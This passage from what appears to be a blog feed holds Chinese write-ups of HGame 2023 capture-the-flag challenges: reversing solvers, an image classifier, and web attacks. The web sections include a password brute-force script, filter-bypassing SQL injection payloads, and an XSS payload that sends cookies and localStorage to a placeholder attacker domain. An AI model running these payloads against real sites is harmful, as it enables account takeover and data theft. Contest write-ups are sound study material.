k=%d\n&quot;, text, k);}getchar();}//printf(&quot;%s&quot;, text);// hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}}</code></pre><p>最后得到完整的<code>num</code>：</p><pre><code class="language-text">236, 72, 213, 106, 189, 86, 62, 53, 120, 199, 15, 93, 133</code></pre><p>以及flag：</p><pre><code class="language-text">hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}</code></pre><p><strong>PS：本题的解法很可能不是最优解，更加简单的方法可以参照官方WP</strong></p><h2 id="%5Bmisc%5D-tunnel" tabindex="-1">[MISC] Tunnel</h2><p>本题题目有误，下载的流量分析中提取<code>TFTP</code>文件，搜索<code>hgame</code>即可找到flag：</p><pre><code class="language-text">hgame{ikev1_may_not_safe_aw987rtgh}</code></pre><h2 id="%5Bmisc%5D-3ctu4_card_problem" tabindex="-1">[MISC] 3ctu4_card_problem</h2><p>运行环境，会传回一个很长很长的<code>base64</code>数据，解码后发现是一个压缩文件，里面包含100张卡牌图片，有游戏王卡牌和宝可梦卡牌两类。</p><pre><code class="language-text">Please distinguish the type of the cards.(ptcg: 0, ygo: 1)Input the answer in the order of the cards.(e.g. 10101010)Press Enter to continue...</code></pre><p>根据提示，我们需要按照编号将卡牌的类型传回，宝可梦为0、游戏王为1。<br />查看卡牌：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/d9512dd7edce4b5ab7166279f0a9ca49.png" alt="d9512dd7edce4b5ab7166279f0a9ca49" /><br />发现卡牌图片都被旋转了随机的角度，而且加上了部分干扰，因此需要用到机器学习。由于笔者没有学习过相关知识，因此使用的是最简单的<code>PaddleX</code>工具可视化训练的，首先，笔者运行了3次程序，获得了300张数据，将他们人工分类后，导入于<code>PaddleX</code>中：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/83a77abeb1cb4e73a13afba0abcc1c09.png" alt="83a77abeb1cb4e73a13afba0abcc1c09" /><br />然后，新建了一个图像分类的项目，以默认参数跑模型训练：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/157ded0e39534e73ac083fa87239c71e.png" alt="157ded0e39534e73ac083fa87239c71e" /><br />最后经过测试，部分模型在测试集中可以达到100%准确度：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/9dc821d63149438fbaa880e180364098.png" alt="9dc821d63149438fbaa880e180364098" /><br />导出最优模型，然后编写代码：</p><pre><code class="language-python"># Please distinguish the type of the cards.(ptcg: 0, ygo: 1)# Input the answer in the order of the cards.(e.g. 10101010)import base64import osimport zipfileimport pwnimport paddlex as pdximport cv2print(&quot;Loading model...&quot;)model = pdx.load_model(&#39;./kpfl/inference_model/inference_model/&#39;)print(&quot;Model loaded.&quot;)replace = &quot;&quot;&quot;Please distinguish the type of the cards.(ptcg: 0, ygo: 1)Input the answer in the order of the cards.(e.g. 10101010)Press Enter to continue...&quot;&quot;&quot;replace2 = &quot;&quot;&quot; &gt; &quot;&quot;&quot;def get_res(path):    im = cv2.imread(path)    im = im.astype(&#39;float32&#39;)    result = model.predict(im)    return resultif __name__ == &#39;__main__&#39;:    conn = pwn.remote(&quot;week-3.hgame.lwsec.cn&quot;, 30102)    conn.sendafter(b&quot;Press Enter to continue...&quot;, b&quot;\n&quot;)    data = conn.recvline()    # data = open(&quot;week3_f.txt&quot;, &#39;rb&#39;).read()    data = data.decode().replace(replace, &quot;&quot;).replace(replace2, &quot;&quot;)    data = base64.b64decode(data)    open(&quot;file.zip&quot;, &quot;wb&quot;).write(data)    file = zipfile.ZipFile(&#39;file.zip&#39;)    file.extractall(path=&quot;./extract/&quot;)    file.close()    result = &quot;&quot;    for i in range(0, 100):        p = os.path.join(&quot;./extract/&quot;, f&#39;{i}.png&#39;)        res = get_res(p)        res = res[0].get(&quot;category_id&quot;)        result += str(res)        print(res, end=&quot;&quot;)    conn.sendline(result.encode())    conn.interactive()</code></pre><p>运行得到flag：</p><pre><code class="language-text">hgame{9ff693d394d4691d55feb4ffa555bd831c005509}</code></pre><p>本题笔者训练用的数据集和最终模型可以从下方链接下载：<br /><a href="https://od.vvbbnn00.cn/t/izLSG0" target="_blank">https://od.vvbbnn00.cn/t/izLSG0</a></p>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[HGame 2023 Week2 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/hgame2023week2-bu-fen-writeup" />
                <id>tag:https://blog.vvbbnn00.cn,2023-01-19:hgame2023week2-bu-fen-writeup</id>
                <published>2023-01-19T20:00:00+08:00</published>
                <updated>2023-01-19T22:37:56+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>第二周的解题过程中，遇到的不少有意思的题目，同时，也学习到了不少的知识，故书写此题解，作为记录。</p><blockquote><p>Week2 比赛地址：<a href="https://hgame.vidar.club/contest/3" target="_blank">https://hgame.vidar.club/contest/3</a></p></blockquote><h2 id="%5Bweb%5D-git-leakage" tabindex="-1">[WEB] Git Leakage</h2><p>顾名思义，是一道Git泄露题，使用<code>GitHack</code>工具即可，下载下来的文件夹中，可看到<code>Th1s_1s-flag</code>文件，打开即可获得flag：</p><pre><code class="language-text">hgame{Don&#39;t^put*Git-in_web_directory}</code></pre><h2 id="%5Bweb%5D-v2board" tabindex="-1">[WEB] v2board</h2><p>本题考查<code>v2board</code>的越权访问漏洞，相关漏洞信息可见：<a href="https://www.ctfiot.com/86202.html" target="_blank">https://www.ctfiot.com/86202.html</a></p><p>简单来说，就是在用户注册登录后，会获得到<code>authorization</code>头，然而这个<code>token</code>不仅可以调用用户级API，也可以越权调用管理员API。因此，只需注册账号，获取<code>token</code>后，携带该<code>token</code>访问管理员的API（此处需要获得Admin用户的订阅链接，因此API地址可以是<code>/api/v1/admin/user/fetch?pageSize-10</code>），访问后即可获得管理员用户的Token。<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/94dba36e4f7d4b39b7aaf950167c3200.png" alt="94dba36e4f7d4b39b7aaf950167c3200" /><br />最后得到flag：</p><pre><code class="language-text">hgame{39d580e71705f6abac9a414def74c466}</code></pre><h2 id="%5Bweb%5D-search-commodity" tabindex="-1">[WEB] Search Commodity</h2><p>首先需要对密码进行爆破，用户名从题目中得知是<code>user01</code>，密码是弱密码，可以用字典爆破。笔者使用了<code>Week1</code>中<code>Help the uncle who can't jump twice</code>题给的字典，很快便爆破出了密码：<code>admin123</code>，爆破代码如下：</p><pre><code class="language-python">import requestsif __name__ == &#39;__main__&#39;:    url = &quot;http://week-2.hgame.lwsec.cn:30345/login&quot;    dic = open(&quot;dic.txt&quot;, &quot;r&quot;).read().split(&quot;\n&quot;)    for i in dic:        req = requests.post(url, data={            &#39;username&#39;: &#39;user01&#39;,            &#39;password&#39;: i        }).text        if &quot;Login Failed&quot; not in req:            print(i)            break</code></pre><p>登陆以后拿到<code>Cookie</code>：</p><pre><code class="language-text">SESSION=MTY3MzY5OTE4OHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18AR8PZ-KQWwv_JAl1ST0jJSnaQOEAfhkREQ0wq8-L2XU=;</code></pre><p>保存以备后面sql注入时使用。<br />登陆成功后显示一个输入框，可以输入<code>1-8</code>以内的数字，返回物品名称和物品数量，尝试使用万能注入<code>1 and 1=1</code>，但没有得到预期结果。不过输入<code>1+1</code>时，确实能够得到id为2的物品数据，因此猜测可能存在正则判断。经过漫长的尝试和翻阅往年Writeup，发现很有可能是执行SQL语句之前对一些特定的关键词（例如<code>select</code>等）进行了替换，其证据便是，若在输入框中输入<code>select1</code>也能返回id为1的物品信息，于是，编写了一个脚本，用于探测语句被过滤的情况：</p><pre><code class="language-python">import requestsif __name__ == &#39;__main__&#39;:    url = &quot;http://week-2.hgame.lwsec.cn:31573/search&quot;    index = 0    s = &#39;&#39;    trytxt = &quot;0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(name),1/*a*/frOm/*a*/information_schema.tables/*a*/whEre/*a*/table_schema/*a*/LiKe/*a*/datAbase()#&quot;    curr_index = 0    while True:        if curr_index &gt;= len(trytxt):            break        i = ord(trytxt[curr_index])        ret = requests.post(url, data={            &#39;search_id&#39;: &#39;if(ascii(substr(&quot;%s&quot;, %s, 1))-%s, 1, 0)  #&#39; % (trytxt, index + 1, i)        }, headers={            &#39;Cookie&#39;: &#39;SESSION=MTY3MzY5OTE4OHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18AR8PZ-KQWwv_JAl1ST0jJSnaQOEAfhkREQ0wq8-L2XU=;&#39;        })        if &#39;hard disk&#39; not in ret.text:            s += chr(i)            index += 1            print(s)        curr_index += 1</code></pre><p>通过使用该脚本定位被过滤的单词，并对其绕过，最终构造了第一个有效Payload，得到了数据库下的表名。注意，这里有一个巨坑，就是正则过滤了<code>or</code>，而<code>information_schema</code>数据库中正好有个<code>or</code>，要是这个没发现，就会走很多弯路（像我一样）。</p><p>Payload为：</p><pre><code class="language-text">0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(table_name),1/*a*/frOm/*a*/infOrmation_schema.tables/*a*/whEre/*a*/table_schema/*a*/LiKe/*a*/datAbase()#</code></pre><p>表名为：</p><pre><code class="language-text">5ecret15here,L1st,user1nf0</code></pre><p>很明显，<code>flag</code>就藏在<code>5ecret15here</code>表中，于是，构造第二个payload，获取列名：</p><pre><code class="language-text">0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(column_name),1/*a*/frOm/*a*/infOrmation_schema.columns/*a*/whEre/*a*/table_name/*a*/LiKe/*a*/&#39;5ecret15here&#39;#</code></pre><p>得到列名为：<code>f14gggg1shere</code></p><p>最后一步，通过列名得到flag：</p><pre><code class="language-text">0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(f14gggg1shere),1/*a*/frOm/*a*/5ecret15here#</code></pre><p>最后得到flag：</p><pre><code class="language-text">hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}</code></pre><h2 id="%5Bweb%5D-designer" tabindex="-1">[WEB] Designer</h2><p>这是一道比较明显的XSS注入题目。<br />查阅源代码，发现只有本地登录的用户才能在JWT中拥有flag，首先尝试了添加头XFF请求，可惜无效，因此只能继续审阅代码。<br />发现在<code>index.js</code>中存在一段十分可疑的代码：</p><pre><code class="language-js">app.post(&quot;/button/share&quot;, auth, async (req, res) =&gt; {  const browser = await puppeteer.launch({    headless: true,    executablePath: &quot;/usr/bin/chromium&quot;,    args: [&#39;--no-sandbox&#39;]  });  const page = await browser.newPage()  const query = querystring.encode(req.body)  await page.goto(&#39;http://127.0.0.1:9090/button/preview?&#39; + query)  await page.evaluate(() =&gt; {    return localStorage.setItem(&quot;token&quot;, &quot;jwt_token_here&quot;)  })  await page.click(&quot;#button&quot;)  res.json({ msg: &quot;admin will see it later&quot; })})</code></pre><p>该代码会启动浏览器访问分享页面，这使XSS注入成为可能。<br />通过查看<code>preview</code>路由相关的代码，可以发现：</p><pre><code class="language-js">app.get(&quot;/button/preview&quot;, (req, res) =&gt; {  const blacklist = [    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/  ]  for (const key in req.query) {    for (const item of blacklist) {      if (item.test(key.trim()) || item.test(req.query[key].trim())) {        req.query[key] = &quot;&quot;      }    }  }  res.render(&quot;preview&quot;, { data: req.query })})</code></pre><p>常见的注入点都被过滤了，比如<code>onclick</code>等，不过问题不大，查阅<code>preview.ejs</code>代码就很容易发现：</p><pre><code class="language-html">&lt;a class=&quot;button&quot; id=&quot;button&quot; style=&quot;&lt;% for (const key in data) {  %&gt;&lt;%- key %&gt;:&lt;%- data[key] %&gt; ;&lt;% }; %&gt;&quot;&gt;CLICK ME&lt;/a&gt;</code></pre><p>按钮是通过字符串拼接的方式设置<code>style</code>的，因此，只需要有一个<code>&quot;</code>就能将HTML语句截断，由于脚本中不能出现<code>window</code>等词语，因此，可以考虑使用<code>atob</code>函数解码字符串后，使用<code>eval</code>函数执行语句，构造的<code>js</code>脚本需要能获取<code>localStorage</code>中的内容，并上传到接收信息的服务器。以下是我构造的脚本：</p><pre><code class="language-javascript">async function r(){var a=new XMLHttpRequest();var b=new FormData();b.append(&#39;c&#39;,document.cookie);b.append(&#39;l&#39;,window.location.href);b.append(&#39;ls&#39;,JSON.stringify(window.localStorage));try{b.append(&#39;cd&#39;,JSON.stringify(await cookieStore.getAll()))}catch(e){}b.append(&#39;ua&#39;,navigator.userAgent);a.open(&#39;POST&#39;,&quot;https://&lt;域名&gt;/a/stat.gif&quot;);a.send(b)}r();document.getElementById(&quot;button&quot;).onclick = r;setInterval(r, 1000);</code></pre><p>将上述脚本进行BASE64编码，然后<code>POST /button/share</code>接口即可，<code>BODY</code>为：</p><pre><code class="language-json">{&quot;border-radius&quot;:&quot;\&quot;&gt;&lt;script&gt;eval(atob(&#39;BASE64编码内容&#39;))&lt;/script&gt;&quot;}</code></pre><p>请求完毕后，稍等片刻，即可在你的服务器中接收到token：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/32944d06d62c471e807bc0b415eb84d5.png" alt="32944d06d62c471e807bc0b415eb84d5" /><br />token内容：</p><pre><code class="language-text">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6ImhnYW1le2JfYzRyZV9hYjB1dF9wcm9wM3J0MXR5X2luakVjdGlPbn0iLCJpYXQiOjE2NzM2ODQwMzJ9.VxpA-aO75JeKjliJs_aHWp47_6fxEOEN0YnNZjGHBQU</code></pre><p>在<a href="https://jwt.io" target="_blank">jwt.io</a>解码，即可获得flag：</p><pre><code class="language-text">hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}</code></pre><h2 id="%5Breverse%5D-before_main" tabindex="-1">[REVERSE] before_main</h2><p>用IDA打开后，可看到主程序：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/3b448a29ee1642659140779238fbf5f7.png" alt="3b448a29ee1642659140779238fbf5f7" /><br />发现密文和BASE64很像，加密函数应该是<code>sub_12EB</code>：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/74e625a056fe4860aec8aaf8343a2c39.png" alt="74e625a056fe4860aec8aaf8343a2c39" /><br />经过仔细对比发现，加密过程正是BASE64标准编码过程，因此尝试对密文进行直接BASE64解码，发现结果不正确，因此猜测可能是编码表被修改。再仔细检查代码可知，<code>qword_4020</code>很有可能与编码表有关。<br />定位后发现若干<code>qword</code>：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/b826bd7bf75b497db4cf958050e853a7.png" alt="b826bd7bf75b497db4cf958050e853a7" /><br />转换为字符串后拼接，尝试解密，发现结果仍然不正确，这个时候，可以看看题目标题（做题时间长了一定得睡一觉，不然就会像我一样对着错误的数据一处理就是好几小时），猜测可能是有函数在Main函数之前执行了，查看子程序，发现<code>sub_1229</code>很可疑：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/3eea9969cd4944f18116859e4328cd9b.png" alt="3eea9969cd4944f18116859e4328cd9b" /><br />使用<code>qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK</code>作为编码表，解密函数如下（代码来自互联网）：</p><pre><code class="language-c">#include &lt;stdint.h&gt;#include &lt;string.h&gt;#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;#define _BYTE unsigned charchar base64char[] = &quot;qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK&quot;;char* base64_decode(char const* base64Str, char* debase64Str, int encodeStrLen) {int i = 0;int j = 0;int k = 0;char temp[4] = &quot;&quot;;for (i = 0; i &lt; encodeStrLen; i += 4) {for (j = 0; j &lt; 64; j++) {if (*(base64Str + i) == base64char[j]) {temp[0] = j;}}for (j = 0; j &lt; 64; j++) {if (*(base64Str + i + 1) == base64char[j]) {temp[1] = j;}}for (j = 0; j &lt; 64; j++) {if (*(base64Str + i + 2) == base64char[j]) {temp[2] = j;}}for (j = 0; j &lt; 64; j++) {if (*(base64Str + i + 3) == base64char[j]) {temp[3] = j;}}*(debase64Str + k++) = ((temp[0] &lt;&lt; 2) &amp; 0xFC) | ((temp[1] &gt;&gt; 4) &amp; 0x03);if (*(base64Str + i + 2) == &#39;=&#39;)break;*(debase64Str + k++) = ((temp[1] &lt;&lt; 4) &amp; 0xF0) | ((temp[2] &gt;&gt; 2) &amp; 0x0F);if (*(base64Str + i + 3) == &#39;=&#39;)break;*(debase64Str + k++) = ((temp[2] &lt;&lt; 6) &amp; 0xF0) | (temp[3] &amp; 0x3F);}return debase64Str;}int main() {char * c = calloc(10000, 1);int len = strlen(&quot;AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=&quot;);printf(base64_decode(&quot;AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=&quot;, c, len));}</code></pre><p>最终解出flag：</p><pre><code class="language-text">hgame{s0meth1ng_run_befOre_m@in}</code></pre><h2 id="%5Breverse%5D-stream" tabindex="-1">[REVERSE] stream</h2><p>下载文件后看图标便可知道，是通过<code>pyinstaller</code>打包的程序，使用<code>pyinstxtractor.py</code>解包程序，可得到<code>pyc</code>文件，再通过<a href="https://tool.lu/pyc/" target="_blank">https://tool.lu/pyc/</a>，即可轻松反编译程序，获得的代码如下：</p><pre><code class="language-python">#!/usr/bin/env python# visit https://tool.lu/pyc/ for more information# Version: Python 3.10import base64def gen(key):    s = list(range(256))    j = 0    for i in range(256):        j = (j + s[i] + ord(key[i % len(key)])) % 256        tmp = s[i]        s[i] = s[j]        s[j] = tmp    i = j = 0    data = []    for _ in range(50):        i = (i + 1) % 256        j = (j + s[i]) % 256        tmp = s[i]        s[i] = s[j]        s[j] = tmp        data.append(s[(s[i] + s[j]) % 256])    return datadef encrypt(text, key):    result = &#39;&#39;    for c, k in zip(text, gen(key)):        result += chr(ord(c) ^ k)    result = base64.b64encode(result.encode()).decode()    return resulttext = input(&#39;Flag: &#39;)key = &#39;As_we_do_as_you_know&#39;enc = encrypt(text, key)if enc == &#39;wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl&#39;:    print(&#39;yes!&#39;)    return NoneNone(&#39;try again...&#39;)</code></pre><p>分析后可以发现，其实<code>gen</code>函数在加密和解密过程中，应该是不变的，因此，只需将加密结果作为参数，异或一次即可：</p><pre><code class="language-python">def decrypt(text, key):    result = &#39;&#39;    text = base64.b64decode(text).decode()    for c, k in zip(text, gen(key)):        result += chr(ord(c) ^ k)    return resultkey = &#39;As_we_do_as_you_know&#39;print(decrypt(&#39;wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl&#39;, key))</code></pre><p>最后获得flag：</p><pre><code class="language-text">hgame{python_reverse_is_easy_with_internet}</code></pre><h2 id="%5Breverse%5D-vidarcamera" tabindex="-1">[REVERSE] VidarCamera</h2><p>下载附件，发现是一个apk包，使用<code>jadx</code>反编译后仔细阅读代码，可以猜测flag大概率与下面这块函数有关：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/a7b6581d83f741a1b7bef9f803ba1aeb.png" alt="a7b6581d83f741a1b7bef9f803ba1aeb" /><br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/11323069945e48bf8e14e69b89907b13.png" alt="11323069945e48bf8e14e69b89907b13" /><br />稍加思索，发现这个应该也是一个魔改的TEA加密，故编写如下程序进行解密：</p><pre><code class="language-java">public class Main {    public static void m178setVXSXFK8(int[] iArr, int i, int i2) {        iArr[i] = i2;    }    public static int m114constructorimpl(int i) {        return i;    }    public static int m173getpVg5ArA(int[] iArr, int i) {        return m114constructorimpl(iArr[i]);    }    /* renamed from: encrypt-hkIa6DI  reason: not valid java name */    private static int[] m8encrypthkIa6DI(int[] iArr) {        int[] r1 = new int[4];        r1[0] = 2233;        r1[1] = 4455;        r1[2] = 6677;        r1[3] = 8899;        int i = 9;        int i2;        while (i &gt; 0) {            int i3 = 0;            int i4 = 33 * 878077251; // 32*878077251            do {                i3++;                i2 = i - 1;                i4 = m114constructorimpl(i4 - 878077251);                m178setVXSXFK8(iArr, i, m114constructorimpl(m173getpVg5ArA(iArr, i) - m114constructorimpl(m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(iArr, i2) &lt;&lt; 4) ^ m114constructorimpl(m173getpVg5ArA(iArr, i2) &gt;&gt;&gt; 5)) + m173getpVg5ArA(iArr, i2)) ^ m114constructorimpl(m173getpVg5ArA(r1, m114constructorimpl(m114constructorimpl(i4 &gt;&gt;&gt; 11) &amp; 3)) + i4))));                m178setVXSXFK8(iArr, i2, m114constructorimpl(m173getpVg5ArA(iArr, i2) - m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(r1, m114constructorimpl(i4 &amp; 3)) + i4) ^ m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(iArr, i) &lt;&lt; 4) ^ m114constructorimpl(m173getpVg5ArA(iArr, i) &gt;&gt;&gt; 5)) + m173getpVg5ArA(iArr, i))) ^ i4)));            } while (i3 &lt;= 32);            i = i2;        }        return iArr;    }    public static byte[] intToByteArray(int[] arr) {        byte[] result = new byte[arr.length * 4];        int index = 0;        for (; index &lt; arr.length; index++) {            int i = arr[index];            result[index * 4 + 3] = (byte) ((i &gt;&gt; 24) &amp; 0xFF);            result[index * 4 + 2] = (byte) ((i &gt;&gt; 16) &amp; 0xFF);            result[index * 4 + 1] = (byte) ((i &gt;&gt; 8) &amp; 0xFF);            result[index * 4] = (byte) (i &amp; 0xFF);        }        return result;    }    public static void main(String[] args) {        int[] uIntArr = {637666042, 457511012, -2038734351, 578827205, -245529892, -1652281167, 435335655, 733644188, 705177885, -596608744};        int[] ret = m8encrypthkIa6DI(uIntArr);        byte[] retB = intToByteArray(ret);        for (byte c : retB) {            System.out.printf(&quot;%c&quot;, c);        }    }}</code></pre><p>笔者在解本题时，原先将繁杂的加密代码进行了简化，但可能在简化过程中出现了一些预料之外的错误，导致始终无法得到预期解，因此最后还是选择了最麻烦的方法（嘛，能跑就行）。运行得到flag：</p><pre><code class="language-text">hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}</code></pre><h2 id="%5Breverse%5D-math" tabindex="-1">[REVERSE] math</h2><p>本题主要考察了五元一次线性方程的求解，通过IDA反编译后，可看到源代码：</p><pre><code class="language-c">#include &lt;stdint.h&gt;#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;int main() {int i; // [rsp+0h] [rbp-180h]int j; // [rsp+4h] [rbp-17Ch]int k; // [rsp+8h] [rbp-178h]int m; // [rsp+Ch] [rbp-174h]__int64 v8[3]; // [rsp+10h] [rbp-170h] BYREFchar v9; // [rsp+28h] [rbp-158h]int v10[28]; // [rsp+30h] [rbp-150h]int v11[28]; // [rsp+A0h] [rbp-E0h] BYREFint v12[26]; // [rsp+110h] [rbp-70h] BYREF__int64 savedregs; // [rsp+180h] [rbp+0h] BYREFmemset(v8, 0, sizeof(v8));v9 = 0;scanf(&quot;%25s&quot;, v8);v10[0] = 126;v10[1] = 225;v10[2] = 62;v10[3] = 40;v10[4] = 216;v10[5] = 253;v10[6] = 20;v10[7] = 124;v10[8] = 232;v10[9] = 122;v10[10] = 62;v10[11] = 23;v10[12] = 100;v10[13] = 161;v10[14] = 36;v10[15] = 118;v10[16] = 21;v10[17] = 184;v10[18] = 26;v10[19] = 142;v10[20] = 59;v10[21] = 31;v10[22] = 186;v10[23] = 82;v10[24] = 79;memset(v11, 0, 100);v12[0] = 63998;v12[1] = 33111;v12[2] = 67762;v12[3] = 54789;v12[4] = 61979;v12[5] = 69619;v12[6] = 37190;v12[7] = 70162;v12[8] = 53110;v12[9] = 68678;v12[10] = 63339;v12[11] = 30687;v12[12] = 66494;v12[13] = 50936;v12[14] = 60810;v12[15] = 48784;v12[16] = 30188;v12[17] = 60104;v12[18] = 44599;v12[19] = 52265;v12[20] = 43048;v12[21] = 23660;v12[22] = 43850;v12[23] = 33646;v12[24] = 44270;for ( i = 0; i &lt;= 4; ++i ) {for ( j = 0; j &lt;= 4; ++j ) {for ( k = 0; k &lt;= 4; ++k )v11[5 * i + j] += *((char *)&amp;savedregs + 5 * i + k - 368) * v10[5 * k + j];}}for ( m = 0; m &lt;= 24; ++m ) {if ( v11[m] != v12[m] ) {printf(&quot;no no no, your match is terrible...&quot;);exit(0);}}printf(&quot;yes!&quot;);return 0LL;}</code></pre><p>（注：代码中的<code>(char *)&amp;savedregs + 5 * i + k - 368</code>指向的就是<code>v8</code>的地址，因此，这里可以直接看成<code>(char *)&amp;v8 + 5 * i + k</code>）<br />简单分析，即可发现，其实每一个加密的结果<code>v11[5 * i + j]</code>都是<code>v8[5 * i + k] * v10[5 * k + j] (k=[0-4])</code>的和（此处将<code>v8</code>视作一个字符串变量），因此，这便转化为了解方程问题，略微修改代码：</p><pre><code class="language-c">#include &lt;stdint.h&gt;#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;int main() {int i; // [rsp+0h] [rbp-180h]int j; // [rsp+4h] [rbp-17Ch]int k; // [rsp+8h] [rbp-178h]int m; // [rsp+Ch] [rbp-174h]char v8[30]; // [rsp+10h] [rbp-170h] BYREFint v10[28]; // [rsp+30h] [rbp-150h]int v11[28]; // [rsp+A0h] [rbp-E0h] BYREFint v12[26]; // [rsp+110h] [rbp-70h] BYREFmemset(v8, 0, sizeof(v8));v10[0] = 126;v10[1] = 225;v10[2] = 62;v10[3] = 40;v10[4] = 216;v10[5] = 253;v10[6] = 20;v10[7] = 124;v10[8] = 232;v10[9] = 122;v10[10] = 62;v10[11] = 23;v10[12] = 100;v10[13] = 161;v10[14] = 36;v10[15] = 118;v10[16] = 21;v10[17] = 184;v10[18] = 26;v10[19] = 142;v10[20] = 59;v10[21] = 31;v10[22] = 186;v10[23] = 82;v10[24] = 79;memset(v11, 0, 100);v12[0] = 63998;v12[1] = 33111;v12[2] = 67762;v12[3] = 54789;v12[4] = 61979;v12[5] = 69619;v12[6] = 37190;v12[7] = 70162;v12[8] = 53110;v12[9] = 68678;v12[10] = 63339;v12[11] = 30687;v12[12] = 66494;v12[13] = 50936;v12[14] = 60810;v12[15] = 48784;v12[16] = 30188;v12[17] = 60104;v12[18] = 44599;v12[19] = 52265;v12[20] = 43048;v12[21] = 23660;v12[22] = 43850;v12[23] = 33646;v12[24] = 44270;printf(&quot;Copy &amp; Paste Them @ Mathematica: \n&quot;);for ( i = 0; i &lt;= 4; ++i ) {printf(&quot;Solve[{&quot;);for ( j = 0; j &lt;= 4; ++j ) {printf(&quot;%d ==&quot;, v12[5 * i + j]);for ( k = 0; k &lt;= 4; ++k ) {printf(&quot; x%d * %d +&quot;, k, v10[5 * k + j]); // 5 * i + k}printf(j &lt; 4 ? &quot; 0, &quot; : &quot; 0 &quot;);}printf(&quot;}, {x0,x1,x2,x3,x4}]\n&quot;);}return 0LL;}</code></pre><p>运行后得到5组方程问题：</p><pre><code class="language-mathematica">Solve[{63998 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 33111 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 67762 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 54789 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 61979 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]Solve[{69619 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 37190 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 70162 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 53110 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 68678 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]Solve[{63339 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 30687 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 66494 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 50936 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 60810 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]Solve[{48784 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 30188 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 60104 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 44599 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 52265 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]Solve[{43048 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 23660 == x0 * 225 + x1 * 20 + x2 